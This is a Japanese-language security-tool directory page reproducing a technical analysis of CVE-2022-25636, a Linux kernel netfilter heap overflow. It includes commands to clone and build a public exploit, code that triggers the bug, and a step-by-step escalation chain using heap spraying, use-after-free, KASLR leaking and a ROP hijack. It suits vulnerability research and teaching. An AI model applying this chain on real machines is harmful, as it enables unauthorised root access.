Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-25636 — CVE-2022-25636に関する詳細な技術分析とエクスプロイト解説書。ヒープスプレーとUAFを利用してローカル権限昇格を可能にする、Linuxカーネルnetfilterのヒープオーバーフロー脆弱性です。 | Kitploit
ツール/GitHubGitHub/chenaotian/cve-2022-25636
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

CVE-2022-25636に関する詳細な技術分析とエクスプロイト解説書。ヒープスプレーとUAFを利用してローカル権限昇格を可能にする、Linuxカーネルnetfilterのヒープオーバーフロー脆弱性です。

リポジトリを見る
3224年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-25636 netfilter カーネル権限昇格

[toc]

脆弱性概要

脆弱性ID: CVE-2022-25636

脆弱性製品: linux kernel - netfilter

影響バージョン: linux kernel 5.4 ~

脆弱性の深刻度: netfilter カーネルモジュールにヒープ領域外書き込みが存在し、SYS_ADMIN 権限がある場合に権限昇格が可能

環境構築

脆弱性は netfilter カーネルモジュールに存在し、該当コードは以下の3つの ko ファイルにあります。

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

qemu 直接起動では問題があり、ko がロードされないため、vmware を使用した2台のマシンでの連携デバッグを行います。

ubuntu 21.10 では手動でカーネルを置き換えることができます:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

その後、元のカーネルを削除し、exp をコンパイルします:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

権限昇格の効果 (成功率は50%未満):

image-20220318151010142

脆弱性の原理

脆弱性の発生箇所

脆弱性が発生する関数は nft_fwd_dup_netdev_offload です:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];// 領域外
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

flow->rule->action.entries (この構造体は可変長であり、境界チェックがない) への設定時にヒープ境界チェックが行われず、整数 (4 または 5) とポインタの領域外書き込みが発生します。

呼び出しスタック

この関数は nft_flow_rule_create 関数内で使用されます:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {// 渡された rule の数に基づいて num_actions を計算
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// NFT_OFFLOAD_F_ACTION フラグがある場合のみカウント

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);// num_actions の数に基づいてスペースを確保 (可変長構造体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	// ctx->num_actions は 0 に初期化 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {// rule の数に応じて offload を呼び出す
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);// 脆弱性関数を呼び出す
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

nft_flow_rule_create 関数は、ユーザー空間から渡された rule 構造体の数に基づいて flow 構造体を確保し処理を行います。num_actions 変数でカウントしますが、カウント時には NFT_OFFLOAD_F_ACTION フラグが設定された rule のみをカウントし、その数に応じて構造体を確保します。その後 offload を呼び出す際には、num_actions でループせず、以前と同じ rule 数の回数だけループしますが、ここでは NFT_OFFLOAD_F_ACTION フラグの判定は行われません。つまり、NFT_OFFLOAD_F_ACTION フラグがない rule が含まれている場合、offload の呼び出し回数は以前確保した flow->rule->action.entries の数を超えるため、offload 内で脆弱性関数 nft_fwd_dup_netdev_offload が呼び出され、呼び出しごとに ctx->num_actions が1増加します (初期値0)。最終的に ctx->num_actions は 配列の範囲を超え、領域外書き込みが発生します。

関連する構造体:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

呼び出しスタック:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

netfilter の使用方法とトリガー

参考リンク: https://www.openwall.com/lists/oss-security/2022/02/21/2

このメールでは、C 言語の libmnl と libnftnl ライブラリを使用して netfilter を使用する方法が説明されています。脆弱性をトリガーするポイントは、追加する rule に NFT_OFFLOAD_F_ACTION フラグが存在するかどうかです。nftnl_expr_alloc("immediate"); で追加された rule のみが NFT_OFFLOAD_F_ACTION フラグを持ちます:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {// 以下の expr 追加では領域外書き込みは発生しない
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
// 以下の expr 追加では領域外書き込みが発生する
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

脆弱性の悪用

脆弱性の悪用は非常に安定していませんが、その技術は精巧です。脆弱性は、固定オフセットの位置に制御不能なポインタを書き込むものです。個人の見解では、悪用の難易度は非常に高いです。技術的手法を簡単に分析します。脆弱性のコードから、一度の領域外書き込みで書き込めるのは整数 (id、固定で4または5) とポインタ (*dev) のみであり、ポインタは struct net_device 構造体を指します。ここでは dev ポインタの書き込みに注目します:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];// 領域外
	entry->id = id;
	entry->dev = dev; // 固定オフセットにヒープアドレスを書き込む。dev は struct net_device 構造体
	··· ···
}

struct flow_rule 構造体は可変長構造体であるため、確保できるサイズの範囲が悪用の成否に関わります (成功の場合)。

  • rule を1つだけ渡した場合、構造体のサイズは 0x70 で、kmalloc-128 (0x80) に属します。領域外書き込みが発生すると、dev ポインタは 0x88 の位置、つまり領域外 0x8 の位置に書き込まれます。
  • rule を2つ渡した場合、構造体のサイズは 0xC0 で、kmalloc-192 (0xC0) に属します。領域外書き込みが発生すると、dev ポインタは 0xd8 の位置、つまり領域外 0x18 の位置に書き込まれ、2回の領域外書き込みでは 0x18 + 0x50 の位置...となります。

関連構造体:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {// サイズ 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

カーネル net_device 構造体アドレスの漏洩

悪用に入る前に、まず2回の *dev アドレスを漏洩させる必要があります。異なる2つの dev アドレスを漏洩させるため、1つは自プロセスで、もう1つは子プロセスで漏洩させます。msg_msg を使用して漏洩させます (msg_msg 技術の復習)。サイズ 0x1040 の msg をヒープスプレーします。これにより、msg の構造上、最初のメッセージが2つのセグメントに分割され、2番目のセグメントの長さは 0x70 で、ヘッダポインタを含めると kmalloc-128 が確保されます。その後、1つの msg を解放し、kmalloc-128 を1つ解放します。次に、1つの rule のみの flow_rule 構造体を使用します。これも kmalloc-128 であり、解放された msg の2番目のセグメントである kmalloc-128 を取得できることを期待し、以下のようなヒープレイアウトを構成します:

image-20220320175028938

flow_rule が解放された msg_msgseg 構造体を取得した後、他のヒープスプレーされた msg_msgseg に隣接している可能性が高くなります。これにより、1回の領域外書き込みが発生すると、領域外 0x8 の位置に net_device ヒープポインタ (dev ポインタ) が書き込まれます。ヒープスプレーしたメッセージをすべて受信し直すだけで、このヒープポインタを読み取ることができ、アドレス漏洩が完了し、クラッシュすることなく後続の悪用に使用できます。

setxattr を使用した UAF による kaslr の漏洩

次に kaslr を漏洩させ、カーネルベースアドレスを取得します。同じ方法で msg_msg + ヒープスプレーを使用し、kmalloc-192 の msg を大量にスプレーします。今回は msg_msg の最初のセグメントをヒープスプレーのターゲットとします。その後、前と同じ方法で1つ解放し、flow_rule を取得して、以下のようなヒープレイアウトを構成することを目指します:

image-20220320184800730

今回は2つの rule を持つ flow_rule 構造体を使用します。サイズは 0xC0 で、kmalloc-192 に属します。6回の領域外書き込みが発生すると、0x18 + 0x50 * 5 の位置に *dev ポインタが書き込まれます。これは、下から3番目の kmalloc-192 のオフセット 0x28 の位置です。もし msg_msg 構造体であれば、security ポインタに相当します。このとき、msgrcv 関数を使用してこの msg_msg 構造体を解放すると、kfree が呼び出され、security ポインタが指す内容が解放されます。これは msg_msg->security の任意アドレス解放プリミティブです。関連コードは以下の通りです:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

このように、ヒープスプレーしたメッセージを受信操作すると、私たちが上書きした security にある dev ポインタが解放されます。つまり、net_device 構造体が解放されます。次に、setxattr + userfaulted を使用して、このヒープブロックを改ざんし、UAF を完了させます。setxattr は任意サイズのカーネルヒープを確保し、任意の内容を書き込んだ後に解放できます。これはカーネル脆弱性悪用の一般的な手法です。

現在、カーネル内には多数の空き状態の kmalloc-192 があります。一度 setxattr を使用するだけでは不十分なため、マルチスレッドで同時に setxattr を呼び出し、userfaulted を利用して呼び出し時間を延ばし、ヒープブロックの占有時間を増やして、より多くのカーネルヒープを取得し、解放された net_device 構造体を取得することを目指します。取得できれば、net_device 構造体の内容を変更できます。内部の dev_addr ポインタを netdev_ops ポインタに変更します(netdev_ops は loopback_ops で初期化されます)。また、名前などを変更して、変更が成功したかどうかを判断できるようにします:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

次に、ソケットの ioctl で SIOCGIFHWADDR 機能を呼び出して物理アドレスを読み取ると、loopback_ops のアドレスを読み取ることができ、漏洩が完了します。net_device の有用なメンバーは以下の通りです:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; // name を変更して正しく変更されたか確認
	··· ···
	const struct net_device_ops *netdev_ops;// 初期化済み、カーネルアドレス漏洩に使用
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; // rip の奪取に使用
	··· ···
	unsigned char		addr_len; // アドレス長の読み取りに使用
	··· ···
	unsigned char		*dev_addr; // 改ざんしてアドレス漏洩に使用、SIOCGIFHWADDR で読み取り
};

2回目の UAF でカーネル ROP を完了

同じ方法で setxattr + userfaulted を使用して UAF を完了させます。今回はカーネルアドレスを取得した後、net_device の ethtool_ops を直接改ざんして eip を奪取します。その後、ソケットの ioctl で SIOCETHTOOL 機能を呼び出すと、ethtool_ops 内の関数が呼び出されて rip が奪取され、ROP が可能になります。ubuntu 21.10 カーネルバージョン 13.0-30 で再現に成功しました:

exp:https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

参考

メール: https://www.openwall.com/lists/oss-security/2022/02/21/2

著者のドキュメント: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exp: https://github.com/Bonfee/CVE-2022-25636

ツールをダウンロード
flow->rule->action.entries